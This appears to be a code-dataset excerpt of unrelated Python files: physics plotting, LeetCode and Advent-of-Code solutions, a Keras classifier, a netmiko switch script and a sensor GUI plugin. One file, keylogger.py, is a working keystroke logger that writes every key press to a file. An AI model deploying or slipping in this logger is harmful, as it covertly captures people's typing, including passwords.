savefig=[True,'plot_QHO_ground_state.eps'],\n xlim = 3.5, N_plot = 201):\n \"\"\"\n Uso: corre el algoritmo Metrópolis que muestrea valores de x de la densidad de \n probabilidad definida por la amplitud de probabilidad prob_amplitude_sampling y\n grafica el histograma que resulta del algoritmo metrópolis, contrastado con la \n densidad de probabilidad teórica.\n \n Recibe:\n N: int -> Número de iteraciones para el algoritmo Metrópolis\n x0: float -> valor de x con el que el algoritmo inicia el muestreo.\n delta: float -> tamaño máximo del paso en cada iteración de \"camino \n aleatorio\" \n prob_amplitude_sampling -> Función de densidad de probabilidad a muestrear por el \n algoritmo.\n showplot = True / False -> Elige si muestra o no la gráfica.\n savefig = [True / False, 'name of fig'] -> Elige si guarda o no la gráfica. \n Nombre del archivo 'name of fig'\n x_lim: float -> límite en x para la gráfica\n N_plot: list -> número de valores de x para los que se grafica densidad \n de probabilidad\n \n Devuelve:\n x_hist: list -> Lista con valores de x (posiciones) obtenidos mediante \n cadena de Markov.\n grafica histograma y comparación con teoría si plot=True \n \"\"\"\n N = int(N)\n # Corre el algoritmo metrópolis y mide tiempo de cómputo\n t_0 = time()\n x_hist = metropolis(N, x0, delta_x, prob_amplitude_sampling)\n t_1 = time()\n print('Metropolis algorithm QHO ground state: %.3f seconds for %.0E iterations'%(t_1-t_0,N))\n # Gráfica del histograma y comparación con densidad de probabilidad original\n if plot==True:\n x_plot = np.linspace(-xlim,xlim,N_plot)\n plt.figure(figsize=(8,5))\n plt.plot(x_plot,prob_amplitude_sampling(x_plot)**2,\n label=u'QHO densidad de probabilidad\\ndel estado base: $|\\psi_0(x)|^2$')\n plt.hist(x_hist,bins=int(N**0.5),normed=True,\n label=u'Histograma Metrópolis\\ncon %.0E iteraciones'%(N))\n plt.xlim(-xlim,xlim)\n plt.xlabel(u'$x$')\n plt.ylabel(u'$|\\psi_0(x)|^2$')\n plt.legend(loc='lower right')\n if savefig[0]==True:\n script_dir = os.path.dirname(os.path.abspath(__file__)) #path completa para script\n plt.savefig(savefig[1])\n if showplot==True:\n plt.show()\n plt.close()\n\n return x_hist\n\n# Corremos el código usando función run_metropolis(), ésta graficará y guardará el histograma\nplt.rcParams.update({'font.size':15})\nx_hist = run_metropolis(N=1e6)","sub_path":".history/1/QHO_ground_state_metropolis_20200416005655.py","file_name":"QHO_ground_state_metropolis_20200416005655.py","file_ext":"py","file_size_in_byte":4779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"237378929","text":"#\n# [685] Redundant Connection II\n#\n# https://leetcode.com/problems/redundant-connection-ii/description/\n#\n# algorithms\n# Hard (27.80%)\n# Total Accepted: 6.5K\n# Total Submissions: 23.5K\n# Testcase Example: '[[1,2],[1,3],[2,3]]'\n#\n#\n# In this problem, a rooted tree is a directed graph such that, there is\n# exactly one node (the root) for which all other nodes are descendants of this\n# node, plus every node has exactly one parent, except for the root node which\n# has no parents.\n#\n# The given input is a directed graph that started as a rooted tree with N\n# nodes (with distinct values 1, 2, ..., N), with one additional directed edge\n# added. The added edge has two different vertices chosen from 1 to N, and was\n# not an edge that already existed.\n#\n# The resulting graph is given as a 2D-array of edges. Each element of edges\n# is a pair [u, v] that represents a directed edge connecting nodes u and v,\n# where u is a parent of child v.\n#\n# Return an edge that can be removed so that the resulting graph is a rooted\n# tree of N nodes. If there are multiple answers, return the answer that\n# occurs last in the given 2D-array.\n# Example 1:\n#\n# Input: [[1,2], [1,3], [2,3]]\n# Output: [2,3]\n# Explanation: The given directed graph will be like this:\n# ⁠ 1\n# ⁠/ \\\n# v v\n# 2-->3\n#\n#\n# Example 2:\n#\n# Input: [[1,2], [2,3], [3,4], [4,1], [1,5]]\n# Output: [4,1]\n# Explanation: The given directed graph will be like this:\n# 5 2\n# ⁠ ^ |\n# ⁠ | v\n# ⁠ 4\n#\n# Note:\n# The size of the input 2D-array will be between 3 and 1000.\n# Every integer represented in the 2D-array will be between 1 and N, where N is\n# the size of the input array.\n\n# REVIEW:\n# - check 2 parents\n# - check loop\n# - exclude candidate_2\n# - if no loop, return candidate_2\n\nfrom collections import defaultdict\n\n\nclass Solution:\n def findRedundantDirectedConnection(self, edges):\n \"\"\"\n :type edges: List[List[int]]\n :rtype: List[int]\n \"\"\"\n\n # Check two parent\n parent = defaultdict(int)\n candidate_1 = None\n candidate_2 = None\n for u, v in edges:\n if v in parent:\n candidate_1 = (parent[v], v)\n candidate_2 = (u, v)\n break\n parent[v] = u\n\n # Check loop\n def find(node):\n if parent[node] == 0:\n return node\n parent[node] = find(parent[node])\n return parent[node]\n\n parent = defaultdict(int)\n for u, v in edges:\n if candidate_2 == (u, v):\n continue\n\n parent_u = find(u)\n parent_v = find(v)\n if parent_u == parent_v:\n if candidate_1:\n return list(candidate_1)\n else:\n return [u, v]\n parent[parent_v] = parent_u\n\n return candidate_2\n\n# Solution().findRedundantDirectedConnection([[5,2],[5,1],[3,1],[3,4],[3,5]])\n","sub_path":"src/685.redundant-connection-ii.python3.py","file_name":"685.redundant-connection-ii.python3.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"20104348","text":"import sys\n\n\nclass Wire(object):\n def __init__(self, input=None):\n self.input = input\n self.value = None\n\n def evaluate(self):\n globals = {\n 'WIRES': WIRES,\n '__builtins__': {},\n }\n\n # lol\n return eval(self.input, globals, {})\n\n def get_value(self):\n if self.value is not None:\n return self.value\n\n self.value = self.evaluate()\n return self.value\n\nWIRES = {}\n\nOPERATORS = {\n 'AND': '&',\n 'OR': '|',\n 'LSHIFT': '<<',\n 'RSHIFT': '>>',\n 'NOT': '~',\n}\n\n\ndef is_numeric(input):\n try:\n int(input)\n except ValueError:\n return False\n else:\n return True\n\n\ndef is_lowercase(input):\n return input.lower() == input\n\n\ndef transform_expression(expression):\n tokens = []\n\n for value in expression.split(' '):\n if is_numeric(value):\n tokens.append(value)\n elif is_lowercase(value):\n tokens.append(\"WIRES['{}'].get_value()\".format(value))\n else:\n tokens.append(OPERATORS[value])\n\n return ' '.join(tokens)\n\n\ndef handle_command(input):\n expression, target = [s.strip() for s in input.split('->')]\n try:\n wire = WIRES[target]\n except KeyError:\n wire = Wire(input=transform_expression(expression))\n WIRES[target] = wire\n\nif __name__ == '__main__':\n try:\n wire = sys.argv[1]\n except IndexError:\n wire = 'a'\n\n code = sys.stdin.read()\n for line in code.splitlines():\n handle_command(line)\n\n final_wire = WIRES[wire]\n value = final_wire.get_value()\n\n for wire in WIRES.values():\n # Reset all wires\n wire.value = None\n\n # Wire b takes the value previously assigned to a\n WIRES['b'].value = value\n\n print(final_wire.get_value())\n","sub_path":"2015/7/7-2.py","file_name":"7-2.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"211222842","text":"from pynput import keyboard\nimport os\nos.chdir('/')\nprint(\"Changed to /\")\n\nls = ['\\\\x01', '\\\\x02', '\\\\x03', '\\\\x04', '\\\\x05', '\\\\x06', '\\\\x07', '\\\\x08',\n\t\t'\\\\t', '\\\\n', '\\\\x0b', '\\\\x0c', '\\\\r', '\\\\x0e', '\\\\x0f', '\\\\x10', '\\\\x11',\n\t\t'\\\\x12', '\\\\x13', '\\\\x14', '\\\\x15', '\\\\x16', '\\\\x17', '\\\\x18', '\\\\x19', '\\\\x1a']\n\ndef press(key):\n\tstring = str(key)\n\tfile = open('check.txt', 'a')\n\tif string[1:len(string)-1] in ls:\n\t\ttemp = ls.index(string[1:len(string)-1])\n\t\ttemp += 97\n\t\ttext = '\\''+chr(temp)+'\\' pressed\\n'\n\telse:\n\t\ttext = string+' pressed\\n'\n\tfile.write(text)\n\tfile.close()\n\n\ndef release(key):\n\tstring = str(key)\n\tif string == 'Key.backspace' or string == 'Key.space':\n\t\treturn\n\tfile = open('check.txt', 'a')\n\tif key == keyboard.Key.esc:\n\t\texit()\n\tif len(string) > 7:\n\t\ttext = string+' released\\n'\n\t\tfile.write(text)\n\tfile.close()\n\n\nwith keyboard.Listener(on_press = press, on_release = release) as listener:\n\tlistener.join()\n","sub_path":"keylogger.py","file_name":"keylogger.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"631475311","text":"from matplotlib import pyplot\n\nfile = open(\"coords\").read().splitlines()\n\npiece = 0\nx_seq = []\ny_seq = []\n\nfor line in file:\n (x, y, num) = line.split(',')\n x = int(x)\n y = int(y)\n num = int(num)\n if num != piece:\n pyplot.scatter(x_seq, y_seq)\n pyplot.plot(x_seq,y_seq)\n # pyplot.show()\n pyplot.savefig(f\"{num}.png\")\n pyplot.clf()\n piece = num\n x_seq = []\n y_seq = []\n\n x_seq.append(x)\n y_seq.append(y)\n","sub_path":"programming/pyplot_scatter_lines.py","file_name":"pyplot_scatter_lines.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"61480865","text":"#!/usr/bin/python3\n\nfrom netmiko import ConnectHandler\nfrom pprint import pprint\nimport warnings\n\n# Display style\nINFO = '\\033[1;34;40m'\nSUCCESS = '\\033[1;32;40m'\nERROR = '\\033[1;31;40m'\nNORMAL = '\\033[0;37;40m'\n\n# Devices list\nvqfx01 = {\n 'device_type': 'juniper',\n 'ip': '127.0.0.1',\n 'username' : 'root',\n 'password' : 'Juniper',\n 'port' : '2222'\n}\nall_vqfx = [\n vqfx01\n]\n\n# Filter warnings\nwarnings.filterwarnings(action='ignore',module='.*paramiko.*')\n\n# Show command function\ndef show_command(command, search):\n output = net_connect.send_command(command)\n print (\n '\\nCommand: {0}{1}{2} \\n'\n .format(\n INFO,\n command,\n NORMAL\n )\n )\n for single_line in output.splitlines():\n if search in single_line:\n print (single_line)\n\n# Set command function\ndef set_command(command):\n net_connect.send_command('cli')\n net_connect.config_mode()\n net_connect.send_command(command)\n net_connect.commit(comment='Enabled NETCONF service', and_quit=True)\n\n# Main process\nfor a_vqfx in all_vqfx:\n try:\n net_connect = ConnectHandler(**a_vqfx)\n print (\n '\\n\\n{0}{1} Device: {2} port: {3} {4}{5}'\n .format(\n SUCCESS,\n '>'*10,\n a_vqfx['ip'],\n a_vqfx['port'],\n '<'*10,\n NORMAL\n )\n )\n show_command('show configuration', 'netconf')\n print (\n '\\n{0}{1}{2} \\n'\n .format(\n INFO,\n 'Applying netconf configuration',\n NORMAL\n )\n )\n set_command('set system services netconf ssh')\n show_command('show configuration', 'netconf')\n print ('\\n')\n net_connect.disconnect()\n except ConnectError as err:\n print (\n '\\n\\n{0}{1} Device: {2} port: {3} {4}{5}'\n .format(\n ERROR,\n '>'*10,\n a_vqfx['ip'],\n a_vqfx['port'],\n '<'*10,\n NORMAL\n )\n )\n","sub_path":"start-1.1.py","file_name":"start-1.1.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"243342301","text":"'''This script goes along the blog post\r\n\"Building powerful image classification models using very little data\"\r\nfrom blog.keras.io.\r\nIt uses data that can be downloaded at:\r\nhttps://www.kaggle.com/c/dogs-vs-cats/data\r\nIn our setup, we:\r\n- created a data/ folder\r\n- created train/ and validation/ subfolders inside data/\r\n- created cats/ and dogs/ subfolders inside train/ and validation/\r\n- put the cat pictures index 0-999 in data/train/cats\r\n- put the cat pictures index 1000-1400 in data/validation/cats\r\n- put the dogs pictures index 12500-13499 in data/train/dogs\r\n- put the dog pictures index 13500-13900 in data/validation/dogs\r\nSo that we have 1000 training examples for each class, and 400 validation examples for each class.\r\nIn summary, this is our directory structure:\r\n```\r\ndata/\r\n train/\r\n dogs/\r\n dog001.jpg/\r\n dog002.jpg\r\n ...\r\n cats/\r\n cat001.jpg\r\n cat002.jpg\r\n ...\r\n validation/\r\n dogs/\r\n dog001.jpg\r\n dog002.jpg\r\n ...\r\n cats/\r\n cat001.jpg\r\n cat002.jpg\r\n ...\r\n```\r\n'''\r\n\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Conv2D, MaxPooling2D\r\nfrom keras.layers import Activation, Dropout, Flatten, Dense\r\nfrom keras import backend as K, callbacks\r\n\r\n# dimensions of our images.\r\nimg_width, img_height = 224, 224\r\n\r\ntrain_data_dir = 'data/train'\r\nvalidation_data_dir = 'data/validation'\r\nnum_class = 5\r\nnb_train_samples = 1000 * num_class\r\nnb_validation_samples = 400 * num_class\r\nepochs = 50\r\nbatch_size = 32\r\n\r\nif K.image_data_format() == 'channels_first':\r\n input_shape = (3, img_width, img_height)\r\nelse:\r\n input_shape = (img_width, img_height, 3)\r\n\r\n'''\r\n# Original VGG16\r\nmodel = Sequential()\r\n\r\n#block 1 224x224x3\r\nmodel.add(Conv2D(64, (3, 3), input_shape=input_shape, padding='same'))\r\nmodel.add(Activation('relu'))\r\nmodel.add(Conv2D(64, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\n#224x224x64\r\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\r\n\r\n#block 2 112x112x64\r\nmodel.add(Conv2D(128, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\nmodel.add(Conv2D(128, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\n#112x112x128\r\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\r\n\r\n#block 3 56x56x128\r\nmodel.add(Conv2D(256, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\nmodel.add(Conv2D(256, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\nmodel.add(Conv2D(256, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\n# 28x28x256\r\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\r\n\r\n#block 4 28x28x256\r\nmodel.add(Conv2D(512, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\nmodel.add(Conv2D(512, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\nmodel.add(Conv2D(512, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\n# 14x14x512\r\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\r\n\r\n#block 5 14x14x512\r\nmodel.add(Conv2D(512, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\nmodel.add(Conv2D(512, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\nmodel.add(Conv2D(512, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\n# 7x7x512\r\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\r\n\r\n# NN layer 7x7x512\r\nmodel.add(Flatten())\r\nmodel.add(Dense(4096))\r\n# 1x1x4096\r\nmodel.add(Activation('relu'))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(4096))\r\nmodel.add(Activation('relu'))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(num_class))\r\nmodel.add(Activation('softmax'))\r\n'''\r\n\r\n#VGG 7\r\nmodel = Sequential()\r\n\r\n#block 1 224x224x3\r\nmodel.add(Conv2D(64, (3, 3), input_shape=input_shape, padding='same'))\r\nmodel.add(Activation('relu'))\r\n#224x224x64\r\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\r\n\r\n#block 2 112x112x64\r\nmodel.add(Conv2D(128, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\n#112x112x128\r\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\r\n\r\n#block 3 56x56x128\r\nmodel.add(Conv2D(128, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\n# 28x28x256\r\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\r\n\r\n#block 4 28x28x256\r\nmodel.add(Conv2D(256, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\n# 14x14x512\r\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\r\n\r\n#block 5 14x14x512\r\nmodel.add(Conv2D(256, (3, 3), padding='same'))\r\nmodel.add(Activation('relu'))\r\n# 7x7x512\r\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\r\n\r\n# NN layer 7x7x512\r\nmodel.add(Flatten())\r\nmodel.add(Dense(1028))\r\n# 1x1x4096\r\nmodel.add(Activation('relu'))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(num_class))\r\nmodel.add(Activation('softmax'))\r\n\r\nmodel.compile(loss='categorical_crossentropy',\r\n optimizer='adam',\r\n metrics=['accuracy'])\r\n\r\n# this is the augmentation configuration we will use for training\r\ntrain_datagen = ImageDataGenerator(\r\n rescale=1. / 255,\r\n shear_range=0.2,\r\n zoom_range=0.2,\r\n horizontal_flip=True)\r\n\r\n# this is the augmentation configuration we will use for testing:\r\n# only rescaling\r\ntest_datagen = ImageDataGenerator(rescale=1. / 255)\r\n\r\ntrain_generator = train_datagen.flow_from_directory(\r\n train_data_dir,\r\n target_size=(img_width, img_height),\r\n batch_size=batch_size,\r\n class_mode='categorical')\r\n\r\nvalidation_generator = test_datagen.flow_from_directory(\r\n validation_data_dir,\r\n target_size=(img_width, img_height),\r\n batch_size=batch_size,\r\n class_mode='categorical')\r\n\r\nf_pickle = \"sushi_multiclass.h5\"\r\ncallback = [callbacks.ModelCheckpoint(filepath=f_pickle, monitor=\"val_loss\", mode=\"min\", save_best_only=True),\r\n callbacks.EarlyStopping(monitor=\"val_loss\", patience=5),\r\n callbacks.TensorBoard(log_dir=\"TensorLogs\", histogram_freq=0, write_graph=True, write_images=False)]\r\n\r\nmodel.fit_generator(\r\n train_generator,\r\n callbacks=callback,\r\n steps_per_epoch=nb_train_samples // batch_size,\r\n epochs=epochs,\r\n validation_data=validation_generator,\r\n validation_steps=nb_validation_samples // batch_size,\r\n verbose=1)\r\n\r\nmodel.save('multiclass_50_final.h5')","sub_path":"Multiclass/multiclass.py","file_name":"multiclass.py","file_ext":"py","file_size_in_byte":6241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"484954427","text":"#!/usr/bin/python2.7\n# -*- coding: utf-8 -*-\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os, sys\nfrom matplotlib.ticker import (MultipleLocator, FormatStrFormatter,\n AutoMinorLocator)\n\ncmap = plt.cm.get_cmap('jet', 4)\ncmaplist = [cmap(i) for i in range(cmap.N)]\ncmaplist[3] = (1, 1, 1, 1.0)\ncmap = mpl.colors.LinearSegmentedColormap.from_list(\n 'Custom cmap', cmaplist, cmap.N)\n\ndata1 = np.genfromtxt('salt_n-o_matrix_PPP_XXX.mat')\n\nfig , ax = plt.subplots(figsize=(10,10))\nplt.subplots_adjust(top=0.95, left=0.2, right=0.9, bottom=0.4)\n\n# Main plot\nax1=plt.subplot(111)\nplot=ax1.pcolormesh(data1, cmap=cmap, vmin=0, vmax=2)\ny_places=(np.arange(0.5, 17.51, step=1))\nx_places=(np.arange(0.5, 27.51, step=1))\ny_tickarray=('K7','K50','K83','K88','K90','K101','R26','R55','H44',\n 'K7','K50','K83','K88','K90','K101','R26','R55','H44')\nx_tickarray=('19','28','40',\n '5','15','54','56','58','64','72','85','89','93','100',\n '19','28','40',\n '5','15','54','56','58','64','72','85','89','93','100')\nplt.ylim(0,18)\nplt.xlim(0,28)\nplt.xticks(x_places, x_tickarray, fontweight='demibold', fontsize=8)\nplt.yticks(y_places, y_tickarray, fontweight='demibold', fontsize=8)\nax1.set_xticks((0,3,14,17,28), minor=True)\nax1.tick_params(axis='x', which='minor', labelbottom=False, length=40, color='k')\nax1.tick_params(axis='x', which='major', color='w')\nax1.tick_params(axis='y', which='major', color='w')\n\nplt.gca().invert_yaxis()\n\n# Extra ticking for the Y axis\nax1b = ax1.twinx()\nax1b.set_position(ax1.get_position())\nplt.ylim(0,18)\nplt.yticks((4.5,13.5),['Monomer A','Monomer B'], fontweight='demibold', fontsize=12)\nplt.tick_params(axis='y', which='both', right=False, left=False, color='w')\nax1b.tick_params(axis='x', which='major', bottom=False)\nax1b.yaxis.tick_left()\nax1b.tick_params(axis='y', which='major', pad=45)\nplt.gca().invert_yaxis()\n\n# Extra ticking for the X axis\nax1c = ax1.twiny()\nax1b.set_position(ax1.get_position())\nplt.xlim(0,28)\nplt.xticks((1.5, 8.5, 15.5, 22.5),['Asp','Glu','Asp','Glu'], fontweight='demibold', fontsize=12)\nax1c.tick_params(axis='x', which='major', labeltop=False, labelbottom=True, top=False, bottom=False, pad=25)\nax1c.tick_params(axis='x', which='minor', labeltop=False, labelbottom=False, top=False, bottom=True, length=47, color='k')\n\nplt.figtext(0.2, 0.2, 'pH: PPP', fontweight='demibold', fontsize=16, ha='left', va='center')\nplt.figtext(0.2, 0.15, 'Run: XXX', fontweight='demibold', fontsize=16, ha='left', va='center')\nplt.figtext(0.2, 0.1, 'N--O Distances', fontweight='demibold', fontsize=16, ha='left', va='center')\n\nplt.figtext(0.375, 0.975, 'Monomer A', fontweight='demibold', fontsize=12, ha='center', va='top')\nplt.figtext(0.725, 0.975, 'Monomer B', fontweight='demibold', fontsize=12, ha='center', va='top')\n\ncbar_1 = fig.colorbar(plot,\n ticks=[0, 0.5, 1, 1.5, 2],\n cax=fig.add_axes([0.3, 0.3, 0.5, 0.02]),\n orientation='horizontal')\ncbar_1.ax.set_xticklabels(['0.0','0.5','1.0','1.5','2.0'],\n fontweight='demibold', fontsize=12)\ncbar_1.set_clim(0, 2)\ncbar_1.outline.set_visible(False)\ncbar_1.ax.tick_params(width=1)\ncbar_1.set_label('Pair Distance (nm)', fontweight='demibold', fontsize=12)\n\nfor axis in ['top','bottom','left','right']:\n ax1.spines[axis].set_visible(False)\n ax1b.spines[axis].set_visible(False)\n ax1c.spines[axis].set_visible(False)\nplt.savefig('salt_n-o_mat_PPP_XXX.svg', format=\"svg\")\nplt.close()\n \n","sub_path":"5_new_plot.py","file_name":"5_new_plot.py","file_ext":"py","file_size_in_byte":3594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"282818488","text":"from turtle import Turtle, position, tilt\nWIDTH = -380\nMAX_Y = 380\nMIN_Y = -380\nclass Paddle(Turtle):\n def __init__(self,position):\n super().__init__()\n self.shape(\"square\")\n self.color(\"white\")\n self.penup()\n self.shapesize(stretch_wid=5,stretch_len=1)\n self.goto(position)\n def go_up(self):\n new_y = self.ycor() + 20\n if new_y < MAX_Y:\n self.goto((self.xcor(),new_y))\n def go_down(self):\n new_y = self.ycor() - 20\n if new_y > MIN_Y:\n self.goto((self.xcor(),new_y))\n\n \n\n\n\n","sub_path":"paddle.py","file_name":"paddle.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"66580473","text":"# -*- coding: utf-8 -*- \n\"\"\"\nLaser Range Finder Plugin\nCopyright (C) 2015 Olaf Lüke \n\nlaser_range_finder.py: Laser Range Finder Plugin Implementation\n\nThis program is free software; you can redistribute it and/or\nmodify it under the terms of the GNU General Public License \nas published by the Free Software Foundation; either version 2 \nof the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nGeneral Public License for more details.\n\nYou should have received a copy of the GNU General Public\nLicense along with this program; if not, write to the\nFree Software Foundation, Inc., 59 Temple Place - Suite 330,\nBoston, MA 02111-1307, USA.\n\"\"\"\n\nfrom brickv.plugin_system.plugin_base import PluginBase\nfrom brickv.plot_widget import PlotWidget\nfrom brickv.bindings.bricklet_laser_range_finder import BrickletLaserRangeFinder\nfrom brickv.async_call import async_call\nfrom brickv.utils import CallbackEmulator\n\nfrom PyQt4.QtCore import pyqtSignal, Qt\nfrom PyQt4.QtGui import QLabel, QVBoxLayout, QHBoxLayout, QSpinBox, QCheckBox, QComboBox\n\nclass DistanceLabel(QLabel):\n def setText(self, distance):\n if distance < 100:\n text = \"Distance: \" + str(distance) + \" cm\"\n else:\n text = \"Distance: \" + \"{0:.2f}\".format(round(distance/100.0, 2)) + \" m\"\n super(DistanceLabel, self).setText(text)\n \nclass VelocityLabel(QLabel):\n def setText(self, velocity):\n text = \"Velocity: \" + \"{0:.2f}\".format(round(velocity, 2)) + ' m/s'\n super(VelocityLabel, self).setText(text)\n\nclass LaserRangeFinder(PluginBase):\n def __init__(self, *args):\n PluginBase.__init__(self, BrickletLaserRangeFinder, *args)\n\n self.lrf = self.device\n\n self.cbe_distance = CallbackEmulator(self.lrf.get_distance,\n self.cb_distance,\n self.increase_error_count)\n self.cbe_velocity = CallbackEmulator(self.lrf.get_velocity,\n self.cb_velocity,\n self.increase_error_count)\n \n self.distance_label = DistanceLabel('Distance: ')\n self.velocity_label = VelocityLabel('Velocity: ')\n\n self.current_distance_value = None\n self.current_velocity_value = None\n\n plot_list_distance = [['', Qt.red, self.get_current_distance_value]]\n plot_list_velocity = [['', Qt.red, self.get_current_velocity_value]]\n self.plot_widget_distance = PlotWidget('Distance [cm]', plot_list_distance)\n self.plot_widget_velocity = PlotWidget('Velocity [m/s]', plot_list_velocity)\n\n self.enable_laser = QCheckBox(\"Enable Laser\")\n self.enable_laser.stateChanged.connect(self.enable_laser_changed)\n\n layout_hld = QHBoxLayout()\n layout_hld.addStretch()\n layout_hld.addWidget(self.distance_label)\n layout_hld.addStretch()\n \n layout_hlv = QHBoxLayout()\n layout_hlv.addStretch()\n layout_hlv.addWidget(self.velocity_label)\n layout_hlv.addStretch()\n \n self.mode_label = QLabel('Mode: ')\n self.mode_combo = QComboBox()\n self.mode_combo.addItem(\"Distance 1cm resolution, 40m max\")\n self.mode_combo.addItem(\"Velocity 0.10 m/s resolution, 12.70m/s max\")\n self.mode_combo.addItem(\"Velocity 0.25 m/s resolution, 31.75m/s max\")\n self.mode_combo.addItem(\"Velocity 0.50 m/s resolution, 63.50m/s max\")\n self.mode_combo.addItem(\"Velocity 1.00 m/s resolution, 127.00m/s max\")\n self.mode_combo.activated.connect(self.mode_changed)\n \n layout_hvel = QHBoxLayout()\n layout_hvel.addStretch()\n layout_hvel.addWidget(self.enable_laser)\n layout_hvel.addStretch()\n\n layout_hvc = QHBoxLayout()\n layout_hvc.addStretch()\n layout_hvc.addWidget(self.mode_label)\n layout_hvc.addWidget(self.mode_combo)\n layout_hvc.addStretch()\n \n self.spin_average_distance = QSpinBox()\n self.spin_average_distance.setMinimum(0)\n self.spin_average_distance.setMaximum(50)\n self.spin_average_distance.setSingleStep(1)\n self.spin_average_distance.setValue(10)\n self.spin_average_distance.editingFinished.connect(self.spin_average_finished)\n \n self.spin_average_velocity = QSpinBox()\n self.spin_average_velocity.setMinimum(0)\n self.spin_average_velocity.setMaximum(50)\n self.spin_average_velocity.setSingleStep(1)\n self.spin_average_velocity.setValue(10)\n self.spin_average_velocity.editingFinished.connect(self.spin_average_finished)\n \n self.label_average_distance = QLabel('Length of moving average:')\n self.label_average_velocity = QLabel('Length of moving average:')\n \n layout_hd = QHBoxLayout()\n layout_hd.addStretch()\n layout_hd.addWidget(self.label_average_distance)\n layout_hd.addWidget(self.spin_average_distance)\n layout_hd.addStretch()\n\n layout_hv = QHBoxLayout()\n layout_hv.addStretch()\n layout_hv.addWidget(self.label_average_velocity)\n layout_hv.addWidget(self.spin_average_velocity)\n layout_hv.addStretch()\n \n layout_vd = QVBoxLayout()\n layout_vd.addLayout(layout_hld)\n layout_vd.addWidget(self.plot_widget_distance)\n layout_vd.addLayout(layout_hd)\n\n layout_vv = QVBoxLayout()\n layout_vv.addLayout(layout_hlv)\n layout_vv.addWidget(self.plot_widget_velocity)\n layout_vv.addLayout(layout_hv)\n \n layout_v2 = QVBoxLayout()\n layout_v2.addLayout(layout_vd)\n layout_v2.addLayout(layout_vv)\n \n self.widgets_distance = [self.distance_label, self.plot_widget_distance, self.spin_average_distance, self.label_average_distance]\n self.widgets_velocity = [self.velocity_label, self.plot_widget_velocity, self.spin_average_velocity, self.label_average_velocity]\n \n for w in self.widgets_distance:\n w.hide()\n for w in self.widgets_velocity:\n w.hide()\n \n layout = QVBoxLayout(self)\n layout.addLayout(layout_hvel)\n layout.addLayout(layout_hvc)\n layout.addLayout(layout_v2)\n \n\n def start(self):\n async_call(self.lrf.get_mode, None, self.get_mode_async, self.increase_error_count)\n async_call(self.lrf.is_laser_enabled, None, self.is_laser_enabled_async, self.increase_error_count)\n async_call(self.lrf.get_moving_average, None, self.get_moving_average_async, self.increase_error_count)\n async_call(self.lrf.get_distance, None, self.cb_distance, self.increase_error_count)\n async_call(self.lrf.get_velocity, None, self.cb_velocity, self.increase_error_count)\n self.cbe_distance.set_period(25)\n self.cbe_velocity.set_period(25)\n\n self.plot_widget_distance.stop = False\n self.plot_widget_velocity.stop = False\n \n def stop(self):\n self.cbe_distance.set_period(0)\n self.cbe_velocity.set_period(0)\n \n self.plot_widget_distance.stop = True\n self.plot_widget_velocity.stop = True\n\n def destroy(self):\n pass\n\n def get_url_part(self):\n return 'laser_range_finder'\n\n @staticmethod\n def has_device_identifier(device_identifier):\n return device_identifier == BrickletLaserRangeFinder.DEVICE_IDENTIFIER\n \n def get_current_distance_value(self):\n return self.current_distance_value\n\n def get_current_velocity_value(self):\n return self.current_velocity_value\n \n def is_laser_enabled_async(self, enabled):\n if enabled:\n self.enable_laser.setChecked(True)\n 